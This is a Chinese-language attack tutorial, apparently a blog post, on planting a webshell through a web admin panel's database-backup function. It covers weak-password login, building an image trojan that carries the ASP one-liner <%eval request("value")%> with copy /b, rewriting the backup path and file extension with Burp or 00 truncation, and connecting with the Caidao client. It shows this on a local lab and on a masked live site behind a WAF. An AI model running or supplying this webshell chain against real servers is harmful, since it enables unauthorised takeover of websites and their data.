数据库备份拿webshell主要前提是能进入到应用系统后台,并且有数据库备份功能。
当我们想法设法进入到一个系统后台之后,本以为找一个文件上传的地方来上传一个webshell,但是上传点却是限制得死死的,高强度的白名单限制,各种绕过都没有成功,恰巧该系统后台中有数据库备份这个功能,此时我们可以通过数据库备份来拿webshell!
首先我们上传一个图片马,并获取到该图片的路径!
其次我们进入到数据库备份功能处,将当前的数据库路径替换为图片马的路径(如果页面不能进行修改的话,我们可以使用审查元素进行HTML代码修改)!
最后我们将数据库备份名称修改为webshell的文件类型(如123.asp),如果在提交的时候会自动重名,我们可以使用00截断或者使用burpsuit来进行相应的数据包更改即可!
完成上述操作之后,我们点击备份,然后就会得到备份后的webshell路径,然后使用菜刀连接即可!
简单说一下数据库备份拿shell的原理,数据库备份是为网站管理者提供备份数据的功能,网站管理者可以将指定位置的文件进行备份,但是为了安全,网站后台都是不允许我们自己指定位置的。但是如果只是在前台加的限制,后台没有校验,我们可以上传一个写入小马的图片文件,然后得到他的路径,在将这个路径进行数据库备份,备份是指定w为asp后缀就行(假设是asp+iis的站点)。
上传图片:
firefox看一下返回的路径,然后备份数据库抓包更改路径:
看到这个返回就知道成功了,可以看到这个是有waf的
不过我们发现这里并没有爆出备份后的路径,大概看了看,返回有FolderBackUp.asp然后请求的是/Manage/DataBackUp.asp这个路径,然后后台也说了备份文件夹是databackup,大概测了测就猜到了:
$ http://xxxxxx.com/Manage/databackup/mssqldb.asp
然后菜刀连接一下就行了。
先通过弱口令登录进后台管理系统http://127.0.0.1/AccessInj/admin/login.asp
点击备份发现:备份的数据库路径为
C:\wwwroot\AccessInj\admin\Databackup\0791idcbackup.mdb
制作一个图片木马:
准备一张普通的jpg图片,然后制作一个asp文件。用记事本写入代码<%eval request("value")%>
,将后缀改为.asp
打开cmd命令,copy t2.jpg/b+t2.sap/a muma.jpg
,b表示二进制文件,a表示ascii码文件,得到了图片木马muma.jpg
上传:
图片上传成功!文件路径是把 [img]Upload/2020113213845129.jpg[/img] 复制到上面的编辑框内
http://127.0.0.1/Upload/2020113213845129.jpg
数据库备份的时候抓包:
把路径替换成Upload/2020113213845129.jpg
备份数据库那里,修改当前数据库路径,填写备份数据库名称
这里,修改当前数据库路径必须为上面刚刚上传的一句话木马图片的路径;这里我把备份数据库名称写为muma.asp;
用菜刀连接一句话木马就完事了
参考文章
https://www.jianshu.com/p/728109894bb2
图片木马的三种制作方法